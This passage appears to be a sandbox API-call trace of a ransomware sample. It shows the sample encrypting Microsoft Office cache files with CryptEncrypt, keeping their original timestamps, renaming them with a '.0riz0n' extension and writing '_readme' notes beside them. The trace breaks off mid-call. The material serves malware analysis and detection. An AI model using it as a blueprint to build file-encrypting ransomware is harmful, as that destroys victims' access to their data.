[0076.837] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0xf79470, pdwDataLen=0x17af850 | out: pbData=0xf79470*, pdwDataLen=0x17af850*=0x20c) returned 1 [0076.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0076.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd5c0 [0076.838] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0076.838] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0x0 [0076.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xa00000) returned 0x2350020 [0076.838] ReadFile (in: hFile=0x1f0, lpBuffer=0x2350020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2350020*, lpNumberOfBytesRead=0x17af85c*=0xa00000, lpOverlapped=0x0) returned 1 [0077.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xa00000) returned 0x2d60020 [0077.251] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2350020) returned 1 [0077.292] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xa00000) returned 0x2350020 [0077.292] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0077.382] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2d60020) returned 1 [0077.422] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2350020*, pdwDataLen=0x17af858*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2350020*, pdwDataLen=0x17af858*=0xa00000) returned 1 [0077.497] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0077.497] WriteFile (in: hFile=0x1f0, lpBuffer=0x2350020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2350020*, lpNumberOfBytesWritten=0x17af85c*=0xa00000, lpOverlapped=0x0) returned 1 [0077.606] FlushFileBuffers (hFile=0x1f0) returned 1 [0077.633] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0xa00000 [0077.633] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xa00000) returned 0x2d60020 [0077.634] ReadFile (in: hFile=0x1f0, lpBuffer=0x2d60020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2d60020*, lpNumberOfBytesRead=0x17af85c*=0xa00000, lpOverlapped=0x0) returned 1 [0077.919] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xa00000) returned 0x3770020 [0078.014] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2d60020) returned 1 [0078.058] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x3770020) returned 1 [0078.103] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2350020*, pdwDataLen=0x17af858*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2350020*, pdwDataLen=0x17af858*=0xa00000) returned 1 [0078.222] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=10485760, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0xa00000 [0078.223] WriteFile (in: hFile=0x1f0, lpBuffer=0x2350020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2350020*, lpNumberOfBytesWritten=0x17af85c*=0xa00000, lpOverlapped=0x0) returned 1 [0078.335] FlushFileBuffers (hFile=0x1f0) returned 1 [0078.363] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0x1400000 [0078.363] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x16b80) returned 0x1d20048 [0078.363] ReadFile (in: hFile=0x1f0, lpBuffer=0x1d20048, nNumberOfBytesToRead=0x16b54, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1d20048*, lpNumberOfBytesRead=0x17af85c*=0x16b54, lpOverlapped=0x0) returned 1 [0078.371] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x16b80) returned 0x1d36bd0 [0078.371] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d20048) returned 1 [0078.371] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d36bd0) returned 1 [0078.371] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x16f80) returned 0x1d20048 [0078.371] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1d20048*, pdwDataLen=0x17af858*=0x16b54, dwBufLen=0x16f54 | out: pbData=0x1d20048*, pdwDataLen=0x17af858*=0x16b60) returned 1 [0078.372] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d20048) returned 1 [0078.372] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=20971520, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x1400000 [0078.372] WriteFile (in: hFile=0x1f0, lpBuffer=0x2350020*, nNumberOfBytesToWrite=0x16b54, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2350020*, lpNumberOfBytesWritten=0x17af85c*=0x16b54, lpOverlapped=0x0) returned 1 [0078.373] FlushFileBuffers (hFile=0x1f0) returned 1 [0078.375] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0078.375] NtClose (Handle=0x1f0) returned 0x0 [0078.649] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.0riz0n")) returned 1 [0078.650] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.0riz0n", dwFileAttributes=0x2020) returned 1 [0078.650] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0078.650] GetLastError () returned 0x2 [0078.650] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x83a79c, ftLastWriteTime.dwLowDateTime=0xed6868, ftLastWriteTime.dwHighDateTime=0x26fa58, nFileSizeHigh=0x0, nFileSizeLow=0x17af894)) returned 0 [0078.650] GetLastError () returned 0x2 [0078.650] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0078.653] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0078.653] WriteFile (in: hFile=0x1f0, lpBuffer=0x30fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x30fe10*, lpNumberOfBytesWritten=0x17af85c*=0x15d, lpOverlapped=0x0) returned 1 [0078.654] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0078.654] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x13) returned 0x1baf768 [0078.654] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd608 [0078.654] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1baf768) returned 1 [0078.654] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfcd608) returned 1 [0078.654] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x2d1) returned 0x1a8ea68 [0078.655] WriteFile (in: hFile=0x1f0, lpBuffer=0x1a8ea68*, nNumberOfBytesToWrite=0x2f1, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1a8ea68*, lpNumberOfBytesWritten=0x17af85c*=0x2f1, lpOverlapped=0x0) returned 1 [0078.655] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970*(dwLowDateTime=0x438c3f50, dwHighDateTime=0x1d59598)) returned 1 [0078.655] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0078.655] NtClose (Handle=0x1f0) returned 0x0 [0078.656] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0078.656] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1a8ea68) returned 1 [0078.656] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfcd5c0) returned 1 [0078.656] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2350020) returned 1 [0078.699] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf79470) returned 1 [0078.699] CryptDestroyKey (hKey=0x459b38) returned 1 [0078.699] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99c90) returned 1 [0078.699] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfae48) returned 1 [0078.699] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfad40) returned 1 [0078.699] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0078.699] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2e3b660, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd8400)) returned 1 [0078.700] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0078.700] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0078.700] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfad40 [0078.700] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0078.700] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0078.701] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfad40) returned 1 [0078.701] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0078.701] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2e3b660, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd8400)) returned 1 [0078.701] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0078.701] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfad40 [0078.701] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0078.701] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfae48 [0078.701] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0078.701] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2e3b660, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd8400)) returned 1 [0078.701] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0078.701] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0078.701] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0078.701] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0078.701] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0078.701] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0078.701] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99c90 [0078.701] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c*(dwLowDateTime=0xf2e3b660, dwHighDateTime=0x1d301be)) returned 1 [0078.701] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0078.702] CryptGenKey (in: hProv=0x44e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x17af854 | out: phKey=0x17af854*=0x459b38) returned 1 [0078.702] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x17af850 | out: pbData=0x0*, pdwDataLen=0x17af850*=0x20c) returned 1 [0078.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x240) returned 0xf79470 [0078.702] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0078.702] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0xf79470, pdwDataLen=0x17af850 | out: pbData=0xf79470*, pdwDataLen=0x17af850*=0x20c) returned 1 [0078.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0078.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd5c0 [0078.702] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0078.702] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0x0 [0078.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xd8400) returned 0x2350020 [0078.703] ReadFile (in: hFile=0x1f0, lpBuffer=0x2350020, nNumberOfBytesToRead=0xd8400, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2350020*, lpNumberOfBytesRead=0x17af85c*=0xd8400, lpOverlapped=0x0) returned 1 [0078.721] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xd8400) returned 0x2430020 [0078.729] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2350020) returned 1 [0078.733] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xd8400) returned 0x2350020 [0078.733] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0078.742] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2430020) returned 1 [0078.745] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xd8800) returned 0x2430020 [0078.753] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2430020*, pdwDataLen=0x17af858*=0xd8400, dwBufLen=0xd8800 | out: pbData=0x2430020*, pdwDataLen=0x17af858*=0xd8410) returned 1 [0078.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xd8440) returned 0x2510020 [0078.776] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2350020) returned 1 [0078.780] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2430020) returned 1 [0078.784] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0078.784] WriteFile (in: hFile=0x1f0, lpBuffer=0x2510020*, nNumberOfBytesToWrite=0xd8400, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2510020*, lpNumberOfBytesWritten=0x17af85c*=0xd8400, lpOverlapped=0x0) returned 1 [0078.786] FlushFileBuffers (hFile=0x1f0) returned 1 [0078.794] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0078.794] NtClose (Handle=0x1f0) returned 0x0 [0078.799] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi.0riz0n")) returned 1 [0078.800] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.0riz0n", dwFileAttributes=0x2020) returned 1 [0078.800] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0078.800] GetLastError () returned 0x2 [0078.800] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x83a79c, ftLastWriteTime.dwLowDateTime=0xed6888, ftLastWriteTime.dwHighDateTime=0x26fa58, nFileSizeHigh=0x0, nFileSizeLow=0x17af894)) returned 0 [0078.800] GetLastError () returned 0x2 [0078.800] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0078.801] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0078.801] WriteFile (in: hFile=0x1f0, lpBuffer=0x30fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x30fe10*, lpNumberOfBytesWritten=0x17af85c*=0x15d, lpOverlapped=0x0) returned 1 [0078.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0078.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x1b) returned 0xfcca98 [0078.802] WriteFile (in: hFile=0x1f0, lpBuffer=0x1a8ea68*, nNumberOfBytesToWrite=0x2f9, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1a8ea68*, lpNumberOfBytesWritten=0x17af85c*=0x2f9, lpOverlapped=0x0) returned 1 [0078.802] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970*(dwLowDateTime=0x43a40d10, dwHighDateTime=0x1d59598)) returned 1 [0078.802] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0078.802] NtClose (Handle=0x1f0) returned 0x0 [0078.803] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0078.803] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1a8ea68) returned 1 [0078.803] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfcd5c0) returned 1 [0078.803] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2510020) returned 1 [0078.807] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf79470) returned 1 [0078.807] CryptDestroyKey (hKey=0x459b38) returned 1 [0078.807] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99c90) returned 1 [0078.807] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfad40) returned 1 [0078.807] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfae48) returned 1 [0078.807] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0078.807] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2)) returned 1 [0078.807] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0078.807] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0078.807] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfae48 [0078.808] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0078.808] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0078.808] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfae48) returned 1 [0078.808] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0078.808] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2)) returned 1 [0078.808] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0078.808] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfae48 [0078.808] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0078.808] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfad40 [0078.808] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 